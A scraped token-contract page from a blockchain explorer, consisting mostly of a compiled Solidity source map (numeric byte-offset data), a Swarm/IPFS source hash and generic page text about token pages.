4499:18;;4492:34;;;;4557:2;4542:18;;4535:34;4600:2;4585:18;;4578:34;4445:3;4430:19;;4211:407;4284:40:0;;;;;;;;4362:11;;4374:1;4362:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4353:7;;4344:38;;2347:25:1;;;-1:-1:-1;;;;;4344:38:0;;;;4353:7;;;;-1:-1:-1;;;;;;;;;;;4344:38:0;2335:2:1;2320:18;4344:38:0;;;;;;;4259:3;;;;:::i;:::-;;;;4215:179;;4630:119;4731:3;-1:-1:-1;;;;;4715:26:0;4724:5;-1:-1:-1;;;;;4715:26:0;-1:-1:-1;;;;;;;;;;;4736:4:0;4715:26;;;;2347:25:1;;2335:2;2320:18;;2201:177;4715:26:0;;;;;;;;4630:119;;;:::o;5992:189::-;6053:4;6090:42;1893:10;6074:58;6071:80;;;6134:7;:17;;-1:-1:-1;;;;;;6134:17:0;-1:-1:-1;;;;;6134:17:0;;;;;6071:80;-1:-1:-1;6169:4:0;;5992:189;-1:-1:-1;5992:189:0:o;2684:201::-;2299:13;:11;:13::i;:::-;-1:-1:-1;;;;;2773:22:0;::::1;2765:73;;;::::0;-1:-1:-1;;;2765:73:0;;5482:2:1;2765:73:0::1;::::0;::::1;5464:21:1::0;5521:2;5501:18;;;5494:30;5560:34;5540:18;;;5533:62;-1:-1:-1;;;5611:18:1;;;5604:36;5657:19;;2765:73:0::1;;;;;;;;;2849:28;2868:8;2849:18;:28::i;:::-;2684:201:::0;:::o;6604:380::-;-1:-1:-1;;;;;6740:19:0;;6732:68;;;;-1:-1:-1;;;6732:68:0;;5889:2:1;6732:68:0;;;5871:21:1;5928:2;5908:18;;;5901:30;5967:34;5947:18;;;5940:62;-1:-1:-1;;;6018:18:1;;;6011:34;6062:19;;6732:68:0;5687:400:1;6732:68:0;-1:-1:-1;;;;;6819:21:0;;6811:68;;;;-1:-1:-1;;;6811:68:0;;6294:2:1;6811:68:0;;;6276:21:1;6333:2;6313:18;;;6306:30;6372:34;6352:18;;;6345:62;-1:-1:-1;;;6423:18:1;;;6416:32;6465:19;;6811:68:0;6092:398:1;6811:68:0;-1:-1:-1;;;;;6892:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6944:32;;2347:25:1;;;6944:32:0;;2320:18:1;6944:32:0;2201:177:1;7927:453:0;-1:-1:-1;;;;;5072:18:0;;;8062:24;5072:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;8129:37:0;;8125:248;;8211:6;8191:16;:26;;8183:68;;;;-1:-1:-1;;;8183:68:0;;6697:2:1;8183:68:0;;;6679:21:1;6736:2;6716:18;;;6709:30;6775:31;6755:18;;;6748:59;6824:18;;8183:68:0;6495:353:1;8183:68:0;8295:51;8304:5;8311:7;8339:6;8320:16;:25;8295:8;:51::i;6996:923::-;-1:-1:-1;;;;;7127:18:0;;7119:68;;;;-1:-1:-1;;;7119:68:0;;7055:2:1;7119:68:0;;;7037:21:1;7094:2;7074:18;;;7067:30;7133:34;7113:18;;;7106:62;-1:-1:-1;;;7184:18:1;;;7177:35;7229:19;;7119:68:0;6853:401:1;7119:68:0;-1:-1:-1;;;;;7206:16:0;;7198:64;;;;-1:-1:-1;;;7198:64:0;;7461:2:1;7198:64:0;;;7443:21:1;7500:2;7480:18;;;7473:30;7539:34;7519:18;;;7512:62;-1:-1:-1;;;7590:18:1;;;7583:33;7633:19;;7198:64:0;7259:399:1;7198:64:0;7285:7;;-1:-1:-1;;;;;7277:15:0;;;7285:7;;7277:15;;;;:67;;-1:-1:-1;7302:42:0;-1:-1:-1;;;;;7296:48:0;;;7277:67;7276:197;;;-1:-1:-1;7350:7:0;;-1:-1:-1;;;;;7350:13:0;;;:7;;:13;:67;;;;-1:-1:-1;7375:42:0;-1:-1:-1;;;;;7367:50:0;;;;7350:67;:122;;;;-1:-1:-1;7430:42:0;-1:-1:-1;;;;;7421:51:0;;;;7350:122;7273:295;;;7490:14;7507:10;:6;7516:1;7507:10;:::i;:::-;7490:27;;7549:5;;7540:6;:14;7532:24;;;;;;7475:93;7273:295;-1:-1:-1;;;;;7600:15:0;;7578:19;7600:15;;;:9;:15;;;;;;7634:21;;;;7626:72;;;;-1:-1:-1;;;7626:72:0;;7998:2:1;7626:72:0;;;7980:21:1;8037:2;8017:18;;;8010:30;8076:34;8056:18;;;8049:62;-1:-1:-1;;;8127:18:1;;;8120:36;8173:19;;7626:72:0;7796:402:1;7626:72:0;-1:-1:-1;;;;;7734:15:0;;;;;;;:9;:15;;;;;;7752:20;;;7734:38;;7787:13;;;;;;;;;;:23;;;;;;7837:26;;-1:-1:-1;;;;;;;;;;;7837:26:0;;;7766:6;2347:25:1;;2335:2;2320:18;;2201:177;7837:26:0;;;;;;;;7874:37;8390:124;2431:132;2384:7;2411:6;-1:-1:-1;;;;;2411:6:0;1893:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;8405:2:1;2487:68:0;;;8387:21:1;;;8424:18;;;8417:30;8483:34;8463:18;;;8456:62;8535:18;;2487:68:0;8203:356:1;2893:191:0;2967:16;2986:6;;-1:-1:-1;;;;;3003:17:0;;;-1:-1:-1;;;;;;3003:17:0;;;;;;3036:40;;2986:6;;;;;;;3036:40;;2967:16;3036:40;2956:128;2893:191;:::o;14:367:1:-;77:8;87:6;141:3;134:4;126:6;122:17;118:27;108:55;;159:1;156;149:12;108:55;-1:-1:-1;182:20:1;;225:18;214:30;;211:50;;;257:1;254;247:12;211:50;294:4;286:6;282:17;270:29;;354:3;347:4;337:6;334:1;330:14;322:6;318:27;314:38;311:47;308:67;;;371:1;368;361:12;308:67;14:367;;;;;:::o;386:173::-;454:20;;-1:-1:-1;;;;;503:31:1;;493:42;;483:70;;549:1;546;539:12;483:70;386:173;;;:::o;564:579::-;668:6;676;684;692;745:2;733:9;724:7;720:23;716:32;713:52;;;761:1;758;751:12;713:52;801:9;788:23;834:18;826:6;823:30;820:50;;;866:1;863;856:12;820:50;905:70;967:7;958:6;947:9;943:22;905:70;:::i;:::-;994:8;;-1:-1:-1;879:96:1;-1:-1:-1;;1076:2:1;1061:18;;1048:32;;-1:-1:-1;1099:38:1;1133:2;1118:18;;1099:38;:::i;:::-;1089:48;;564:579;;;;;;;:::o;1148:597::-;1260:4;1289:2;1318;1307:9;1300:21;1350:6;1344:13;1393:6;1388:2;1377:9;1373:18;1366:34;1418:1;1428:140;1442:6;1439:1;1436:13;1428:140;;;1537:14;;;1533:23;;1527:30;1503:17;;;1522:2;1499:26;1492:66;1457:10;;1428:140;;;1586:6;1583:1;1580:13;1577:91;;;1656:1;1651:2;1642:6;1631:9;1627:22;1623:31;1616:42;1577:91;-1:-1:-1;1729:2:1;1708:15;-1:-1:-1;;1704:29:1;1689:45;;;;1736:2;1685:54;;1148:597;-1:-1:-1;;;1148:597:1:o;1750:254::-;1818:6;1826;1879:2;1867:9;1858:7;1854:23;1850:32;1847:52;;;1895:1;1892;1885:12;1847:52;1918:29;1937:9;1918:29;:::i;:::-;1908:39;1994:2;1979:18;;;;1966:32;;-1:-1:-1;;;1750:254:1:o;2383:328::-;2460:6;2468;2476;2529:2;2517:9;2508:7;2504:23;2500:32;2497:52;;;2545:1;2542;2535:12;2497:52;2568:29;2587:9;2568:29;:::i;:::-;2558:39;;2616:38;2650:2;2639:9;2635:18;2616:38;:::i;:::-;2606:48;;2701:2;2690:9;2686:18;2673:32;2663:42;;2383:328;;;;;:::o;2716:505::-;2811:6;2819;2827;2880:2;2868:9;2859:7;2855:23;2851:32;2848:52;;;2896:1;2893;2886:12;2848:52;2936:9;2923:23;2969:18;2961:6;2958:30;2955:50;;;3001:1;2998;2991:12;2955:50;3040:70;3102:7;3093:6;3082:9;3078:22;3040:70;:::i;:::-;3129:8;;3014:96;;-1:-1:-1;3211:2:1;3196:18;;;;3183:32;;2716:505;-1:-1:-1;;;;2716:505:1:o;3415:186::-;3474:6;3527:2;3515:9;3506:7;3502:23;3498:32;3495:52;;;3543:1;3540;3533:12;3495:52;3566:29;3585:9;3566:29;:::i;:::-;3556:39;3415:186;-1:-1:-1;;;3415:186:1:o;3814:260::-;3882:6;3890;3943:2;3931:9;3922:7;3918:23;3914:32;3911:52;;;3959:1;3956;3949:12;3911:52;3982:29;4001:9;3982:29;:::i;:::-;3972:39;;4030:38;4064:2;4053:9;4049:18;4030:38;:::i;:::-;4020:48;;3814:260;;;;;:::o;4079:127::-;4140:10;4135:3;4131:20;4128:1;4121:31;4171:4;4168:1;4161:15;4195:4;4192:1;4185:15;4623:127;4684:10;4679:3;4675:20;4672:1;4665:31;4715:4;4712:1;4705:15;4739:4;4736:1;4729:15;4755:135;4794:3;-1:-1:-1;;4815:17:1;;4812:43;;;4835:18;;:::i;:::-;-1:-1:-1;4882:1:1;4871:13;;4755:135::o;4895:380::-;4974:1;4970:12;;;;5017;;;5038:61;;5092:4;5084:6;5080:17;5070:27;;5038:61;5145:2;5137:6;5134:14;5114:18;5111:38;5108:161;;;5191:10;5186:3;5182:20;5179:1;5172:31;5226:4;5223:1;5216:15;5254:4;5251:1;5244:15;5108:161;;4895:380;;;:::o;7663:128::-;7703:3;7734:1;7730:6;7727:1;7724:13;7721:39;;;7740:18;;:::i;:::-;-1:-1:-1;7776:9:1;;7663:128::o
Swarm Source
ipfs://af94b81fe983a298709a899c4a02b167dc7a72a2e0c3a61ad51dcd54604205ad
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.